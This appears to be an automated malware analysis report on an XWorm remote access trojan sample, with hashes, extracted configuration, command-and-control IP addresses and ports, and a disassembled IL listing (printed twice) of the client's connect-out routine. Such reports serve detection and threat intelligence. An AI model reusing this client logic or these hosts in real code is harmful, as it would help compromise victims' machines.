Malicious
Malicious

505acb8a717b3c6b3baff24994a7af34

PE Executable
|
MD5: 505acb8a717b3c6b3baff24994a7af34
|
Size: 44.03 KB
|
application/x-dosexec


Print
Infection Chain
Summary by MalvaGPT
Characteristics

Symbol Ofbuscation Score

Low

Hash
Hash Value
MD5
505acb8a717b3c6b3baff24994a7af34
Sha1
d37c02ff1a22a21b5bc0c8d8aad95894fedde289
Sha256
b95360f091412669760e7a6d01981eb192cc1582cf6fdfe51bc25a6bb8edbe29
Sha384
2c693bac223a1724004f40c8775cc0803c943ceab1fb2ba2d231efd34078ffce1750384dc2fd9d77abc22af0422f903f
Sha512
06886d9c4b3a53a72823e969b896d895b6509363e8de912e4918232e5312d10207b66dcc89226b120ab8bf68a91e4b4429632ae30e865aa7a8caa42023dadf45
SSDeep
768:zHedX5Ue2eOrFZUcKqFmeU/BBQK3zO/o9buJu8BhO8Onu0/rxI:zHeEe2NFmhZBQoko9buJLI8Onu0/ry
TLSH
CD133B543BF5C756C1FE1BBA6833961487B1E9024A12DB4D0FD8E0DE3E237854A18BDA

PeID

.NET executable
Microsoft Visual C# / Basic .NET
Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL
Microsoft Visual C# v7.0 / Basic .NET
Microsoft Visual Studio .NET
File Structure
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
Malware Configuration - XWorm config.
Config. Field
Value
Mutex

8QMIriuQjNcvpFdL

Hosts

103.82.36.216

Port

7000

KEY

<123456789>

USBNM

<Xwormmm>

family

xworm

Informations
Name
Value
Info

PE Detect: PeReader OK (file layout)

Info

PDB Path: C:\Users\Administrator\Desktop\?????????\XClient\obj\Debug\XClient.pdb

Module Name

XClient.exe

Full Name

XClient.exe

EntryPoint

System.Void Stub.Program::Main()

Scope Name

XClient.exe

Scope Type

ModuleDef

Kind

Windows

Runtime Version

v4.0.30319

Tables Header Version

512

WinMD Version

<null>

Assembly Name

XClient

Assembly Version

1.0.0.0

Assembly Culture

<null>

Has PublicKey

False

PublicKey Token

<null>

Target Framework

.NETFramework,Version=v4.8

Total Strings

205

Main Method

System.Void Stub.Program::Main()

Main IL Instruction Count

241

Main IL

nop <null> ldstr 156.254.21.126,202.79.171.155 stsfld System.String Settings::Hosts ldstr Hosts set to: ldsfld System.String Settings::Hosts call System.String System.String::Concat(System.String,System.String) call System.Void System.Console::WriteLine(System.String) nop <null> ldsfld System.Int32 Settings::Sleep ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) nop <null> nop <null> ldstr 443 stsfld System.String Settings::Port ldsfld System.String Settings::KEY call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::KEY ldsfld System.String Settings::SPL call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::SPL ldsfld System.String Settings::Groub call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Groub ldsfld System.String Settings::USBNM call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::USBNM nop <null> leave.s IL_00B1: call System.Boolean Stub.Helper::CreateMutex() stloc.2 <null> nop <null> ldstr Decryption error: ldloc.2 <null> callvirt System.String System.Exception::get_Message() call System.String System.String::Concat(System.String,System.String) call System.Void System.Console::WriteLine(System.String) nop <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) nop <null> nop <null> leave.s IL_00B1: call System.Boolean Stub.Helper::CreateMutex() call System.Boolean Stub.Helper::CreateMutex() ldc.i4.0 <null> ceq <null> stloc.3 <null> ldloc.3 <null> brfalse.s IL_00C6: call System.Void Stub.Helper::PreventSleep() nop <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) nop <null> nop <null> call System.Void Stub.Helper::PreventSleep() nop <null> ldsfld System.Threading.ThreadStart Stub.Program/<>c::<>9__3_0 dup <null> brtrue.s IL_00EB: newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) pop <null> ldsfld Stub.Program/<>c Stub.Program/<>c::<>9 ldftn System.Void Stub.Program/<>c::<Main>b__3_0() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) dup <null> stsfld System.Threading.ThreadStart Stub.Program/<>c::<>9__3_0 newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) call System.Void System.Threading.Thread::Start() nop <null> ldsfld System.Threading.ThreadStart Stub.Program/<>c::<>9__3_1 dup <null> brtrue.s IL_0115: newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) pop <null> ldsfld Stub.Program/<>c Stub.Program/<>c::<>9 ldftn System.Void Stub.Program/<>c::<Main>b__3_1() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) dup <null> stsfld System.Threading.ThreadStart Stub.Program/<>c::<>9__3_1 newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.0 <null> ldsfld System.Threading.ThreadStart Stub.Program/<>c::<>9__3_2 dup <null> brtrue.s IL_013A: newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) pop <null> ldsfld Stub.Program/<>c Stub.Program/<>c::<>9 ldftn System.Void Stub.Program/<>c::<Main>b__3_2() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) dup <null> stsfld System.Threading.ThreadStart Stub.Program/<>c::<>9__3_2 newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() nop <null> nop <null> ldsfld System.String Settings::Hosts ldc.i4.1 <null> newarr System.Char dup <null> ldc.i4.0 <null> ldc.i4.s 44 stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) stloc.s V_4 ldc.i4.0 <null> stloc.s V_5 br IL_0237: ldloc.s V_5 ldloc.s V_4 ldloc.s V_5 ldelem.ref <null> stloc.s V_6 newobj System.Void Stub.Program/<>c__DisplayClass3_0::.ctor() stloc.s V_7 nop <null> ldloc.s V_7 newobj System.Void Stub.Program/ClientConnection::.ctor() stloc.s V_8 ldloc.s V_8 ldloc.s V_6 callvirt System.Void Stub.Program/ClientConnection::set_Host(System.String) nop <null> ldloc.s V_8 ldc.i4.0 <null> callvirt System.Void Stub.Program/ClientConnection::set_IsConnected(System.Boolean) nop <null> ldloc.s V_8 ldc.i4.0 <null> newobj System.Void System.Threading.ManualResetEvent::.ctor(System.Boolean) callvirt System.Void Stub.Program/ClientConnection::set_AllDone(System.Threading.ManualResetEvent) nop <null> ldloc.s V_8 ldc.i4.1 <null> newarr System.Byte callvirt System.Void Stub.Program/ClientConnection::set_Buffer(System.Byte[]) nop <null> ldloc.s V_8 newobj System.Void System.IO.MemoryStream::.ctor() callvirt System.Void Stub.Program/ClientConnection::set_MS(System.IO.MemoryStream) nop <null> ldloc.s V_8 newobj System.Void System.Object::.ctor() callvirt System.Void Stub.Program/ClientConnection::set_SendSync(System.Object) nop <null> ldloc.s V_8 ldc.i4.m1 <null> conv.i8 <null> callvirt System.Void Stub.Program/ClientConnection::set_BufferLength(System.Int64) nop <null> ldloc.s V_8 ldc.i4.0 <null> callvirt System.Void Stub.Program/ClientConnection::set_Interval(System.Int32) nop <null> ldloc.s V_8 ldc.i4.0 <null> callvirt System.Void Stub.Program/ClientConnection::set_ActivatePong(System.Boolean) nop <null> ldloc.s V_8 stfld Stub.Program/ClientConnection Stub.Program/<>c__DisplayClass3_0::connection ldsfld System.Collections.Generic.Dictionary`2<System.String,Stub.Program/ClientConnection> Stub.Program::connections ldloc.s V_6 ldloc.s V_7 ldfld Stub.Program/ClientConnection Stub.Program/<>c__DisplayClass3_0::connection callvirt System.Void System.Collections.Generic.Dictionary`2<System.String,Stub.Program/ClientConnection>::set_Item(System.String,Stub.Program/ClientConnection) nop <null> ldloc.s V_7 ldfld Stub.Program/ClientConnection Stub.Program/<>c__DisplayClass3_0::connection ldloc.s V_7 ldftn System.Void Stub.Program/<>c__DisplayClass3_0::<Main>b__3() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void Stub.Program/ClientConnection::set_ConnectionThread(System.Threading.Thread) nop <null> ldloc.s V_7 ldfld Stub.Program/ClientConnection Stub.Program/<>c__DisplayClass3_0::connection callvirt System.Threading.Thread Stub.Program/ClientConnection::get_ConnectionThread() callvirt System.Void System.Threading.Thread::Start() nop <null> nop <null> ldloc.s V_5 ldc.i4.1 <null> add <null> stloc.s V_5 ldloc.s V_5 ldloc.s V_4 ldlen <null> conv.i4 <null> blt IL_0167: ldloc.s V_4 br.s IL_02B8: ldc.i4.1 nop <null> ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) nop <null> ldc.i4.0 <null> stloc.s V_9 nop <null> ldsfld System.Collections.Generic.Dictionary`2<System.String,Stub.Program/ClientConnection> Stub.Program::connections callvirt System.Collections.Generic.Dictionary`2/ValueCollection<System.String,Stub.Program/ClientConnection> System.Collections.Generic.Dictionary`2<System.String,Stub.Program/ClientConnection>::get_Values() callvirt System.Collections.Generic.Dictionary`2/ValueCollection/Enumerator<System.String,Stub.Program/ClientConnection> System.Collections.Generic.Dictionary`2/ValueCollection<System.String,Stub.Program/ClientConnection>::GetEnumerator() stloc.s V_10 br.s IL_0285: ldloca.s V_10 ldloca.s V_10 call Stub.Program/ClientConnection System.Collections.Generic.Dictionary`2/ValueCollection/Enumerator<System.String,Stub.Program/ClientConnection>::get_Current() stloc.s V_11 nop <null> ldloc.s V_11 callvirt System.Boolean Stub.Program/ClientConnection::get_IsConnected() stloc.s V_12 ldloc.s V_12 brfalse.s IL_0284: nop nop <null> ldc.i4.1 <null> stloc.s V_9 br.s IL_028E: leave.s IL_029F nop <null> ldloca.s V_10 call System.Boolean System.Collections.Generic.Dictionary`2/ValueCollection/Enumerator<System.String,Stub.Program/ClientConnection>::MoveNext() brtrue.s IL_0267: ldloca.s V_10 leave.s IL_029F: ldloc.s V_9 ldloca.s V_10 constrained. System.Collections.Generic.Dictionary`2/ValueCollection/Enumerator<System.String,Stub.Program/ClientConnection> callvirt System.Void System.IDisposable::Dispose() nop <null> endfinally <null> ldloc.s V_9 ldc.i4.0 <null> ceq <null> stloc.s V_13 ldloc.s V_13 brfalse.s IL_02B7: nop nop <null> ldstr Warning: No active connections call System.Void System.Console::WriteLine(System.String) nop <null> nop <null> nop <null> ldc.i4.1 <null> stloc.s V_14 br.s IL_0244: nop

Module Name

XClient.exe

Full Name

XClient.exe

EntryPoint

System.Void Stub.Program::Main()

Scope Name

XClient.exe

Scope Type

ModuleDef

Kind

Windows

Runtime Version

v4.0.30319

Tables Header Version

512

WinMD Version

<null>

Assembly Name

XClient

Assembly Version

1.0.0.0

Assembly Culture

<null>

Has PublicKey

False

PublicKey Token

<null>

Target Framework

.NETFramework,Version=v4.8

Total Strings

205

Main Method

System.Void Stub.Program::Main()

Main IL Instruction Count

241

Main IL

nop <null> ldstr 156.254.21.126,202.79.171.155 stsfld System.String Settings::Hosts ldstr Hosts set to: ldsfld System.String Settings::Hosts call System.String System.String::Concat(System.String,System.String) call System.Void System.Console::WriteLine(System.String) nop <null> ldsfld System.Int32 Settings::Sleep ldc.i4 1000 mul.ovf <null> call System.Void System.Threading.Thread::Sleep(System.Int32) nop <null> nop <null> ldstr 443 stsfld System.String Settings::Port ldsfld System.String Settings::KEY call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::KEY ldsfld System.String Settings::SPL call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::SPL ldsfld System.String Settings::Groub call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::Groub ldsfld System.String Settings::USBNM call System.Object Stub.AlgorithmAES::Decrypt(System.String) call System.String Microsoft.VisualBasic.CompilerServices.Conversions::ToString(System.Object) stsfld System.String Settings::USBNM nop <null> leave.s IL_00B1: call System.Boolean Stub.Helper::CreateMutex() stloc.2 <null> nop <null> ldstr Decryption error: ldloc.2 <null> callvirt System.String System.Exception::get_Message() call System.String System.String::Concat(System.String,System.String) call System.Void System.Console::WriteLine(System.String) nop <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) nop <null> nop <null> leave.s IL_00B1: call System.Boolean Stub.Helper::CreateMutex() call System.Boolean Stub.Helper::CreateMutex() ldc.i4.0 <null> ceq <null> stloc.3 <null> ldloc.3 <null> brfalse.s IL_00C6: call System.Void Stub.Helper::PreventSleep() nop <null> ldc.i4.0 <null> call System.Void System.Environment::Exit(System.Int32) nop <null> nop <null> call System.Void Stub.Helper::PreventSleep() nop <null> ldsfld System.Threading.ThreadStart Stub.Program/<>c::<>9__3_0 dup <null> brtrue.s IL_00EB: newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) pop <null> ldsfld Stub.Program/<>c Stub.Program/<>c::<>9 ldftn System.Void Stub.Program/<>c::<Main>b__3_0() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) dup <null> stsfld System.Threading.ThreadStart Stub.Program/<>c::<>9__3_0 newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) call System.Void System.Threading.Thread::Start() nop <null> ldsfld System.Threading.ThreadStart Stub.Program/<>c::<>9__3_1 dup <null> brtrue.s IL_0115: newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) pop <null> ldsfld Stub.Program/<>c Stub.Program/<>c::<>9 ldftn System.Void Stub.Program/<>c::<Main>b__3_1() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) dup <null> stsfld System.Threading.ThreadStart Stub.Program/<>c::<>9__3_1 newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.0 <null> ldsfld System.Threading.ThreadStart Stub.Program/<>c::<>9__3_2 dup <null> brtrue.s IL_013A: newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) pop <null> ldsfld Stub.Program/<>c Stub.Program/<>c::<>9 ldftn System.Void Stub.Program/<>c::<Main>b__3_2() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) dup <null> stsfld System.Threading.ThreadStart Stub.Program/<>c::<>9__3_2 newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) stloc.1 <null> ldloc.1 <null> callvirt System.Void System.Threading.Thread::Start() nop <null> nop <null> ldsfld System.String Settings::Hosts ldc.i4.1 <null> newarr System.Char dup <null> ldc.i4.0 <null> ldc.i4.s 44 stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) stloc.s V_4 ldc.i4.0 <null> stloc.s V_5 br IL_0237: ldloc.s V_5 ldloc.s V_4 ldloc.s V_5 ldelem.ref <null> stloc.s V_6 newobj System.Void Stub.Program/<>c__DisplayClass3_0::.ctor() stloc.s V_7 nop <null> ldloc.s V_7 newobj System.Void Stub.Program/ClientConnection::.ctor() stloc.s V_8 ldloc.s V_8 ldloc.s V_6 callvirt System.Void Stub.Program/ClientConnection::set_Host(System.String) nop <null> ldloc.s V_8 ldc.i4.0 <null> callvirt System.Void Stub.Program/ClientConnection::set_IsConnected(System.Boolean) nop <null> ldloc.s V_8 ldc.i4.0 <null> newobj System.Void System.Threading.ManualResetEvent::.ctor(System.Boolean) callvirt System.Void Stub.Program/ClientConnection::set_AllDone(System.Threading.ManualResetEvent) nop <null> ldloc.s V_8 ldc.i4.1 <null> newarr System.Byte callvirt System.Void Stub.Program/ClientConnection::set_Buffer(System.Byte[]) nop <null> ldloc.s V_8 newobj System.Void System.IO.MemoryStream::.ctor() callvirt System.Void Stub.Program/ClientConnection::set_MS(System.IO.MemoryStream) nop <null> ldloc.s V_8 newobj System.Void System.Object::.ctor() callvirt System.Void Stub.Program/ClientConnection::set_SendSync(System.Object) nop <null> ldloc.s V_8 ldc.i4.m1 <null> conv.i8 <null> callvirt System.Void Stub.Program/ClientConnection::set_BufferLength(System.Int64) nop <null> ldloc.s V_8 ldc.i4.0 <null> callvirt System.Void Stub.Program/ClientConnection::set_Interval(System.Int32) nop <null> ldloc.s V_8 ldc.i4.0 <null> callvirt System.Void Stub.Program/ClientConnection::set_ActivatePong(System.Boolean) nop <null> ldloc.s V_8 stfld Stub.Program/ClientConnection Stub.Program/<>c__DisplayClass3_0::connection ldsfld System.Collections.Generic.Dictionary`2<System.String,Stub.Program/ClientConnection> Stub.Program::connections ldloc.s V_6 ldloc.s V_7 ldfld Stub.Program/ClientConnection Stub.Program/<>c__DisplayClass3_0::connection callvirt System.Void System.Collections.Generic.Dictionary`2<System.String,Stub.Program/ClientConnection>::set_Item(System.String,Stub.Program/ClientConnection) nop <null> ldloc.s V_7 ldfld Stub.Program/ClientConnection Stub.Program/<>c__DisplayClass3_0::connection ldloc.s V_7 ldftn System.Void Stub.Program/<>c__DisplayClass3_0::<Main>b__3() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) callvirt System.Void Stub.Program/ClientConnection::set_ConnectionThread(System.Threading.Thread) nop <null> ldloc.s V_7 ldfld Stub.Program/ClientConnection Stub.Program/<>c__DisplayClass3_0::connection callvirt System.Threading.Thread Stub.Program/ClientConnection::get_ConnectionThread() callvirt System.Void System.Threading.Thread::Start() nop <null> nop <null> ldloc.s V_5 ldc.i4.1 <null> add <null> stloc.s V_5 ldloc.s V_5 ldloc.s V_4 ldlen <null> conv.i4 <null> blt IL_0167: ldloc.s V_4 br.s IL_02B8: ldc.i4.1 nop <null> ldc.i4 1000 call System.Void System.Threading.Thread::Sleep(System.Int32) nop <null> ldc.i4.0 <null> stloc.s V_9 nop <null> ldsfld System.Collections.Generic.Dictionary`2<System.String,Stub.Program/ClientConnection> Stub.Program::connections callvirt System.Collections.Generic.Dictionary`2/ValueCollection<System.String,Stub.Program/ClientConnection> System.Collections.Generic.Dictionary`2<System.String,Stub.Program/ClientConnection>::get_Values() callvirt System.Collections.Generic.Dictionary`2/ValueCollection/Enumerator<System.String,Stub.Program/ClientConnection> System.Collections.Generic.Dictionary`2/ValueCollection<System.String,Stub.Program/ClientConnection>::GetEnumerator() stloc.s V_10 br.s IL_0285: ldloca.s V_10 ldloca.s V_10 call Stub.Program/ClientConnection System.Collections.Generic.Dictionary`2/ValueCollection/Enumerator<System.String,Stub.Program/ClientConnection>::get_Current() stloc.s V_11 nop <null> ldloc.s V_11 callvirt System.Boolean Stub.Program/ClientConnection::get_IsConnected() stloc.s V_12 ldloc.s V_12 brfalse.s IL_0284: nop nop <null> ldc.i4.1 <null> stloc.s V_9 br.s IL_028E: leave.s IL_029F nop <null> ldloca.s V_10 call System.Boolean System.Collections.Generic.Dictionary`2/ValueCollection/Enumerator<System.String,Stub.Program/ClientConnection>::MoveNext() brtrue.s IL_0267: ldloca.s V_10 leave.s IL_029F: ldloc.s V_9 ldloca.s V_10 constrained. System.Collections.Generic.Dictionary`2/ValueCollection/Enumerator<System.String,Stub.Program/ClientConnection> callvirt System.Void System.IDisposable::Dispose() nop <null> endfinally <null> ldloc.s V_9 ldc.i4.0 <null> ceq <null> stloc.s V_13 ldloc.s V_13 brfalse.s IL_02B7: nop nop <null> ldstr Warning: No active connections call System.Void System.Console::WriteLine(System.String) nop <null> nop <null> nop <null> ldc.i4.1 <null> stloc.s V_14 br.s IL_0244: nop

Artefacts
Name
Value
Mutex

8QMIriuQjNcvpFdL

CnC

103.82.36.216

Port

7000

505acb8a717b3c6b3baff24994a7af34 (44.03 KB)
An error has occurred. This application may no longer respond until reloaded. Reload 🗙